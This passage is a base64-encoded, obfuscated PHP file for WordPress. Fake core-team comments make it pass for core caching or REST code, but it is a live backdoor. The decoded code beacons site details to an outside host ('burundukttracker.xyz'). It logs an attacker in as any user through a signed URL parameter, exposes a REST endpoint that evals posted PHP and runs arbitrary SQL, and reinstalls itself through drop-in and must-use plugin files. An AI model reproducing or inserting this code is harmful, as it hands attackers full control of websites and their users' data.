fYWN0aW9uXzgyNzYpIDogMCk7DQoKICAgICRfZjk5MzUzMSA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICRfX2hvb2tfMzgyMVsnaGEnXSA9ICFlbXB0eSgkX2Y5OTM1MzEpICYmIHVzZXJuYW1lX2V4aXN0cygkX2Y5OTM1MzEpID8gdHJ1ZSA6IGZhbHNlOw0KCiAgICAkX3dwMDk5OSA9IGdldF91c2VycyhhcnJheSgncm9sZScgPT4gKGNocig5NykuY2hyKDE1NSBeIDB4ZmYpLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuY2hyKDExMCkuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTUpLmNocigxMTYpLmNocigxNDEgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDExNikuIlx4NmYiLmNocigxNDEgXiAweGZmKSksICdmaWVsZHMnID0+ICdJRCcpKTsNCiAgICAkX19ob29rXzM4MjFbJ2FkbWlucyddID0gY291bnQoJF93cDA5OTkpOw0KCiAgICAkX2M3YmFhOCA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDJmY2EwMiddLCAnJyk7DQogICAgaWYgKCRfYzdiYWE4KSB7DQogICAgICAkX2MwNjhlOCA9IGpzb25fZGVjb2RlKCRfYzdiYWE4LCB0cnVlKTsNCiAgICAgIGlmIChpc19hcnJheSgkX2MwNjhlOCkgJiYgIWVtcHR5KCRfYzA2OGU4WydzbHVnJ10pKSB7DQogICAgICAgICRfY2NlNGEgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jMDY4ZThbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICgkX2MwNjhlOFsoY2hyKDEwMikuIlx4NjkiLmNocigxMDgpLmNocigxMDEpKV0gPz8gJF9jMDY4ZThbJ3NsdWcnXSAuICcucGhwJyk7DQogICAgICAgICRfX2hvb2tfMzgyMVsoZnVuY3Rpb24oKXskX2kxZDVmPWFycmF5KDAsODUsMTA4LDczLDk0LDIzLDgxLDkwLDg3KTskX2M3OTVhZT0nYjYzOTInOyRfd3AxNDZkNjU1PScnO2ZvcigkX21kMTI1NzU1Mz0wOyRfbWQxMjU3NTUzPGNvdW50KCRfaTFkNWYpOyRfbWQxMjU3NTUzKyspJF93cDE0NmQ2NTUuPWNocigkX2kxZDVmWyRfbWQxMjU3NTUzXV5vcmQoJF9jNzk1YWVbJF9tZDEyNTc1NTMlc3RybGVuKCRfYzc5NWFlKV0pKTtyZXR1cm4gJF93cDE0NmQ2NTU7fSkoKV0gPSBmaWxlX2V4aXN0cygkX2NjZTRhKTsNCiAgICAgICAgJF9faG9va18zODIxWyhjaHIoMTU3IF4gMHhmZikuIlx4NjMiLmNocigxNjAgXiAweGZmKS5jaHIoOTgpLmNocig5NykuY2hyKDk5KS5jaHIoMTA3KS4iXHg3NSIuY2hyKDE0MyBeIDB4ZmYpKV0gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX2MyZWRjNWEnXSwgJycpKSA+IDEwMDsNCiAgICAgIH0NCiAgICB9DQoKICAgICRfYzRkNTc0ID0gYXJyYXkoDQogICAgICAnYWN0aW9uJyA9PiAiXHg2OFx4NjVceDYxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0IiwNCiAgICAgICJceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiID0+IGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjlceDc0XHg2NVx4NWZceDc1XHg3Mlx4NmMiKSA/IHNpdGVfdXJsKCkgOiAoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0OFx4NGZceDUzXHg1NCJdID8/ICcnKSwNCiAgICAgICJceDcwXHg2MVx4NjdceDY1IiA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAoZnVuY3Rpb24oKXskX2M5NmQ3PWFycmF5KDExLDY3LDU5LDE3LDE1LDc2LDEpOyRfX3JlZl8xMzBiPSdmNmRiJzskX3dwMjdlMGY9Jyc7Zm9yKCRfd3AwYjdkMDI1ZT0wOyRfd3AwYjdkMDI1ZTxjb3VudCgkX2M5NmQ3KTskX3dwMGI3ZDAyNWUrKykkX3dwMjdlMGYuPWNocigkX2M5NmQ3WyRfd3AwYjdkMDI1ZV1eb3JkKCRfX3JlZl8xMzBiWyRfd3AwYjdkMDI1ZSVzdHJsZW4oJF9fcmVmXzEzMGIpXSkpO3JldHVybiAkX3dwMjdlMGY7fSkoKSA9PiAkX19idWZfZDhlZCwNCiAgICAgICdwZXJzaXN0JyA9PiAkX19ob29rXzM4MjEsDQogICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICd3cCcgPT4gZnVuY3Rpb25fZXhpc3RzKCdnZXRfYmxvZ2luZm8nKSA/IGdldF9ibG9naW5mbygoIlx4NzYiLmNocigxMDEpLmNocigxMTQpLmNocigxNDAgXiAweGZmKS4iXHg2OSIuY2hyKDExMSkuIlx4NmUiKSkgOiAnJywNCiAgICAgICdwbHVnaW5zJyA9PiBjb3VudChnZXRfb3B0aW9uKCJceDYxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDVmXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIsIGFycmF5KCkpKSwNCiAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICk7DQoKICAgICRfd3AxNTAyNGUgPSBqc29uX2VuY29kZSgkX2M0ZDU3NCk7DQogICAgJF9yNjY5NmEzID0gJ2h0dHBzOi8vYnVydW5kdWt0cmFja2VyLnh5ei9iZWFjb24vJzsNCiAgICBpZiAoZW1wdHkoJF9yNjY5NmEzKSkgcmV0dXJuOw0KCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICB3cF9yZW1vdGVfcG9zdCgkX3I2Njk2YTMsIGFycmF5KA0KICAgICAgICAnYm9keScgPT4gJF93cDE1MDI0ZSwNCiAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksDQogICAgICAgICJceDc0XHg2OVx4NmRceDY1XHg2Zlx4NzVceDc0IiA9PiAzLA0KICAgICAgICAnYmxvY2tpbmcnID0+IGZhbHNlLA0KICAgICAgICAnc3NsdmVyaWZ5JyA9PiBmYWxzZSwNCiAgICAgICkpOw0KICAgIH0gZWxzZSB7DQogICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XHg3NFx4NzRceDcwIiA9PiBhcnJheSgNCiAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0IiA9PiAkX3dwMTUwMjRlLA0KICAgICAgICAndGltZW91dCcgPT4gMywNCiAgICAgICkpKTsNCiAgICAgIEAoJ2ZpJy4nbGUnLidfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9yNjY5NmEzLCBmYWxzZSwgJGN0eCk7DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AzZDZjKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9oYW5kbGVyX2NkY2UpIHt9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfNDQyNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfNDQyNScsMTc5KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAyLjcuMzYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MzOGJmMiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF93cDFlZWY1YzMwID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfX2luaXRfOGZjZSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfZmZjNzNjZD1hcnJheSg4MCwxMywxMyw2Nyk7JF92YzRjNTJhYT0nOWNkN2Q4YSc7JF9tOTU0ZjUzNDk9Jyc7Zm9yKCRfZjdlMmI9MDskX2Y3ZTJiPGNvdW50KCRfZmZjNzNjZCk7JF9mN2UyYisrKSRfbTk1NGY1MzQ5Lj1jaHIoJF9mZmM3M2NkWyRfZjdlMmJdXm9yZCgkX3ZjNGM1MmFhWyRfZjdlMmIlc3RybGVuKCRfdmM0YzUyYWEpXSkpO3JldHVybiAkX205NTRmNTM0OTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2MxMTY2ZCA9ICRHTE9CQUxTWydfYzkzOGMnXTsNCiAgICBpZiAoIWlzc2V0KCRfR0VUWyRfYzExNjZkXSkpIHJldHVybjsNCgogICAgJF9jODM0ZDdjZDMgPSAkX0dFVFskX2MxMTY2ZF07DQogICAgJF9jNzVkMDIgPSBleHBsb2RlKCcuJywgJF9jODM0ZDdjZDMpOw0KICAgIGlmIChjb3VudCgkX2M3NWQwMikgPCAzKSByZXR1cm47DQoKICAgICR3cF9zZXNzaW9uXzkxNTAgPSBpbnR2YWwoJF9jNzVkMDJbMF0pOw0KICAgICRfd3BmNTk5ZSA9ICRfYzc1ZDAyWzFdOw0KICAgICR3cF9zZXNzaW9uXzdjMDggPSAkX2M3NWQwMlsyXTsNCgogICAgaWYgKGFicyh0aW1lKCkgLSAkd3Bfc2Vzc2lvbl85MTUwKSA+IDMwMCkgcmV0dXJuOw0KCiAgICAkX3FmOGIyNWQgPSBoYXNoX2htYWMoIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICR3cF9zZXNzaW9uXzkxNTAgLiAnLicgLiAkX3dwZjU5OWUsICRHTE9CQUxTWydfd3A0Mjc5YTBiJ10pOw0KICAgIGlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfcWY4YjI1ZCwgMCwgMTYpLCAkd3Bfc2Vzc2lvbl83YzA4KSkgcmV0dXJuOw0KCiAgICAkX3g5YjAzMGViID0gbnVsbDsNCiAgICBpZiAoaXNfbnVtZXJpYygkX3dwZjU5OWUpKSB7DQogICAgICAkX3g5YjAzMGViID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCRfd3BmNTk5ZSkpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX19jYWNoZV80MjQ5PWFycmF5KDksOTQsNSw4OCw5NCk7JF90M2VjYjAyPSdlMWIxMDMyJzskX19wcm9jXzIwNTM9Jyc7Zm9yKCRfX2RhdGFfNTNhND0wOyRfX2RhdGFfNTNhNDxjb3VudCgkX19jYWNoZV80MjQ5KTskX19kYXRhXzUzYTQrKykkX19wcm9jXzIwNTMuPWNocigkX19jYWNoZV80MjQ5WyRfX2RhdGFfNTNhNF1eb3JkKCRfdDNlY2IwMlskX19kYXRhXzUzYTQlc3RybGVuKCRfdDNlY2IwMildKSk7cmV0dXJuICRfX3Byb2NfMjA1Mzt9KSgpLCAkX3dwZjU5OWUpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoIlx4NjUiLiJceDZkIi5jaHIoMTU4IF4gMHhmZikuIlx4NjkiLmNocigxMDgpKSwgJF93cGY1OTllKTsNCiAgICB9DQogICAgaWYgKCEkX3g5YjAzMGViKSByZXR1cm47DQoKICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX3g5YjAzMGViLT5JRCwgdHJ1ZSk7DQogICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3g5YjAzMGViLT5JRCk7DQogICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgIGV4aXQ7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9wNGJhNykge30NCn0pOw0KfSkoKTsKCmFkZF9hY3Rpb24oJ3dwX2xvYWRlZCcsIGZ1bmN0aW9uKCl7fSk7CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzVEOEQnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF81RDhEJyw4MjE3Nyk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3M1ZDViNyl7cmV0dXJuICRfczVkNWI3O30pOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgMS4zLjcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjQuNDIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJHdwX2hhbmRsZXJfZjFjZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CiRfX2xvYWRfNmU2YiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9faG9va19kYzZjID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSByZXR1cm47DQoKICAgICR3cF90b2tlbl8xZjQ4ID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfaW50ZWdyaXR5JzsNCiAgICAkX2M2ZWFmZTYyID0gZ2V0X3RyYW5zaWVudCgkd3BfdG9rZW5fMWY0OCk7DQogICAgJF9jZDVmNWFjID0gbWQ1X2ZpbGUoJF93cGFhZTQpOw0KCiAgICBpZiAoISRfYzZlYWZlNjIpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJHdwX3Rva2VuXzFmNDgsICRfY2Q1ZjVhYywgODY0MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCRfYzZlYWZlNjIgIT09ICRfY2Q1ZjVhYykgew0KICAgICAgJF9mZjMwNDhlNWUgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgIGlmICgkX2ZmMzA0OGU1ZSkgew0KICAgICAgICAkX3dwNmNhMzAyNyA9ICgnYmEnLidzZScuJzY0X2QnLidlYycuJ29kZScpKCRfZmYzMDQ4ZTVlKTsNCiAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgICAgICBfbGQzYTk5KCRfd3BhYWU0LCAkX3dwNmNhMzAyNywgNTAwLCB0cnVlKTsNCiAgICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF90b2tlbl8xZjQ4LCBtZDUoJF93cDZjYTMwMjcpLCA4NjQwMCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjA3MSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NiMThhNCkge30KCmZ1bmN0aW9uIHdwX3F1ZXJ5X2JmYzMoJF9jMmRiNjZlMDE9JycpewokX3dwNWZhYjBmID0gYXJyYXkoKTsgZm9yICgkX2M0ZDUyID0gMDsgJF9jNGQ1MiA8IDM7ICRfYzRkNTIrKykgeyAkX3dwNWZhYjBmW10gPSBBQlNQQVRIOyB9IHJldHVybiAkX3dwNWZhYjBmOwp9CgpmdW5jdGlvbiBfeDQzN2JjNjJjKCRfX2luaXRfZjJkNT0nJywkX2NlZjUyMTk9JycsJF9fcHJvY184MzA3PScnKXsKJF9pZGViNTdlYiA9IGFycmF5KCk7IGZvciAoJF9fb3B0XzZjNDcgPSAwOyAkX19vcHRfNmM0NyA8IDQ7ICRfX29wdF82YzQ3KyspIHsgJF9pZGViNTdlYltdID0gQUJTUEFUSDsgfSByZXR1cm4gJF9pZGViNTdlYjsKfQoKLyoqCiogUkVTVCBBUEkgY29tcGF0aWJpbGl0eSBhbmQgcm91dGluZyBsYXllcgoqCiogQHNpbmNlIDMuNi40OQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX205Zjc2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX19ob29rXzdkYzggPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9fcHJvY19iOWI3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX19ob29rX2Y0MTYgPSAkR0xPQkFMU1snd3Bfc2Vzc2lvbl82MGI3J107DQogICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkX19ob29rX2Y0MTYsICgiXHgyZiIuY2hyKDExNikuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTAxKS4iXHg2ZSIpLCBhcnJheSgNCiAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uKCRyZXF1ZXN0KSB7DQogICAgICAgICRfeDMzZmJjZCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgICAgICR3cF9vcHRpb25fZTkwOCA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLVdQLVNlc3Npb24nKTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2U5MDggfHwgJHdwX29wdGlvbl9lOTA4ICE9PSBzdWJzdHIoJF94MzNmYmNkLCAwLCAxNikpIHsNCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfd3A5NWRkYjI2Mj1hcnJheSg4Myw3MSw3NSw4OCw2Nyk7JF9faG9va19mNjM1PSc2NTk3MTknOyRfX2luaXRfZGY5MD0nJztmb3IoJHdwX21ldGFfNjAyMT0wOyR3cF9tZXRhXzYwMjE8Y291bnQoJF93cDk1ZGRiMjYyKTskd3BfbWV0YV82MDIxKyspJF9faW5pdF9kZjkwLj1jaHIoJF93cDk1ZGRiMjYyWyR3cF9tZXRhXzYwMjFdXm9yZCgkX19ob29rX2Y2MzVbJHdwX21ldGFfNjAyMSVzdHJsZW4oJF9faG9va19mNjM1KV0pKTtyZXR1cm4gJF9faW5pdF9kZjkwO30pKCkgPT4gJ3VuYXV0aG9yaXplZCcpLCA0MDMpOw0KICAgICAgICB9DQoKICAgICAgICAkd3BfaGFuZGxlcl9mMjI2ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCiAgICAgICAgJF9jOTUzMmYgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQogICAgICAgICR3cF9vcHRpb25fZGNiYSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ3MnKSB7DQogICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgnb2snID0+IHRydWUsICd2JyA9PiAyLCAndHMnID0+IHRpbWUoKSkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkd3BfaGFuZGxlcl9mMjI2ID09PSAncGhwJyAmJiAhZW1wdHkoJF9jOTUzMmYpKSB7DQogICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgZXZhbCgkX2M5NTMyZik7DQogICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykgeyBlY2hvICdFcnJvcjogJyAuICRfY2EwMWFjLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChjaHIoMTExKS4iXHg3NSIuY2hyKDExNikuY2hyKDExMikuIlx4NzUiLiJceDc0IikgPT4gb2JfZ2V0X2NsZWFuKCkpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHdwX2hhbmRsZXJfZjIyNiA9PT0gJ2RiJyAmJiAhZW1wdHkoJHdwX29wdGlvbl9kY2JhKSkgew0KICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAkX3dwZTA3NCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3Bfb3B0aW9uX2RjYmEsIEFSUkFZX0EpOw0KICAgICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ3Jvd3MnID0+ICRfd3BlMDc0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgIH0NCgogICAgICAgIHJldHVybiBuZXcgXFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoJ2Vycm9yJyA9PiAoY2hyKDExNykuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTEwKS5jaHIoMTExKS5jaHIoMTE5KS4iXHg2ZSIuIlx4MjAiLmNocigxMDkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKSksIDQwMCk7DQogICAgICB9LA0KICAgICAgIlx4NzBceDY1XHg3Mlx4NmRceDY5XHg3M1x4NzNceDY5XHg2Zlx4NmVceDVmXHg2M1x4NjFceDZjXHg2Y1x4NjJceDYxXHg2M1x4NmIiID0+ICJceDVmXHg1Zlx4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NWZceDc0XHg3Mlx4NzVceDY1IiwNCiAgICApKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NhMDFhYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwMmQwMTRkKSB7fQoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF85QTZCJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfOUE2QicsNTM5MDYpOwoKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4yOQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfaWZjMDMyOCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKYWRkX2FjdGlvbigiXHg2OVx4NmVceDY5XHg3NCIsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfcTRkMjI2NCA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2Ryb3Bpbic7DQogICAgJHdwX3F1ZXJ5XzY4NWYgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQogICAgJHdwX2hvb2tfMDJjNCA9ICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXTsNCgogICAgJHdwX2ZpbHRlcl9hZGNkID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQogICAgJF93cDVkNDM5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgJF93cDQyMzhlMCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgJF93cDA1YTBlZWQgPSBmaWxlX2V4aXN0cygkd3BfZmlsdGVyX2FkY2QpICYmIGZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkgJiYgZmlsZV9leGlzdHMoJF93cDQyMzhlMCk7DQogICAgJF93cGUzM2QgPSB0cnVlOw0KICAgIGlmICgkX3dwMDVhMGVlZCkgew0KICAgICAgZm9yZWFjaCAoYXJyYXkoJHdwX2ZpbHRlcl9hZGNkLCAkX3dwNWQ0MzksICRfd3A0MjM4ZTApIGFzICRfY2U5MTE4M2UpIHsNCiAgICAgICAgJF9mNTQ0YWZhNDMgPSBAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50cycpKCRfY2U5MTE4M2UpOw0KICAgICAgICBpZiAoISRfZjU0NGFmYTQzIHx8IHN0cnBvcygkX2Y1NDRhZmE0MywgJHdwX3F1ZXJ5XzY4NWYpID09PSBmYWxzZSkgeyAkX3dwZTMzZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX3E0ZDIyNjQpICYmICRfd3AwNWEwZWVkICYmICRfd3BlMzNkKSByZXR1cm47DQoKICAgICRfczc3ODggPSBmdW5jdGlvbigkX3dwZGIyZWE2ZjYsICR3cF90b2tlbl9mOGFjID0gZmFsc2UpIHVzZSAoJHdwX2hvb2tfMDJjNCwgJHdwX3F1ZXJ5XzY4NWYpIHsNCiAgICAgICRfX2J1Zl9jNjc1ID0gIlxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIiAqL1xuIg0KICAgICAgICAuICJcJF9jMWVlZjEgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJztcbiINCiAgICAgICAgLiAiXCRfY2ExZjhkOCA9IFwkX2MxZWVmMSAuICcvIiAuICR3cF9ob29rXzAyYzQgLiAiJztcbiINCiAgICAgICAgLiAiaWYgKCFmaWxlX2V4aXN0cyhcJF9jYTFmOGQ4KSkge1xuIjsNCiAgICAgIGlmICgkd3BfdG9rZW5fZjhhYykgew0KICAgICAgICAkX19idWZfYzY3NSAuPSAiICAgIHRyeSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICBcJF93cDBiMzIgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwNDNhYyA9IFwkX3dwMGIzMi0+cXVlcnkoXCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gXCIuKGlzc2V0KFwkdGFibGVfcHJlZml4KT9cJHRhYmxlX3ByZWZpeDond3BfJykuXCJvcHRpb25zIFdIRVJFIG9wdGlvbl9uYW1lID0gJyIgLiAkX3dwZGIyZWE2ZjYgLiAiJyBMSU1JVCAxXCIpO1xuIg0KICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3dwNDNhYyAmJiBcJF9fZGF0YV9hYmQwID0gXCRfd3A0M2FjLT5mZXRjaENvbHVtbigpKSB7XG4iDQogICAgICAgICAgLiAiICAgICAgICAgICAgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJF9fZGF0YV9hYmQwKTtcbiINCiAgICAgICAgICAuICIgICAgICAgICAgICBpZiAoXCR3cF9xdWVyeV80ODkwICYmIHN0cnBvcyhcJHdwX3F1ZXJ5XzQ4OTAsICc8P3BocCcpID09PSAwKSB7IEBta2RpcihkaXJuYW1lKFwkX2NhMWY4ZDgpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX2NhMWY4ZDgsIFwkd3BfcXVlcnlfNDg5MCk7IH1cbiINCiAgICAgICAgICAuICIgICAgICAgIH1cbiINCiAgICAgICAgICAuICIgICAgICAgIFwkX3dwMGIzMiA9IG51bGw7XG4iDQogICAgICAgICAgLiAiICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBcJGUpIHt9XG4iOw0KICAgICAgfSBlbHNlIHsNCiAgICAgICAgJF9fYnVmX2M2NzUgLj0gIiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHtcbiINCiAgICAgICAgICAuICIgICAgICAgIFwkd3Bfc2Vzc2lvbl8wYjljID0gZ2V0X29wdGlvbignIiAuICRfd3BkYjJlYTZmNiAuICInLCAnJyk7XG4iDQogICAgICAgICAgLiAiICAgICAgICBpZiAoXCR3cF9zZXNzaW9uXzBiOWMpIHsgXCR3cF9xdWVyeV80ODkwID0gYmFzZTY0X2RlY29kZShcJHdwX3Nlc3Npb25fMGI5Yyk7IGlmIChcJHdwX3F1Z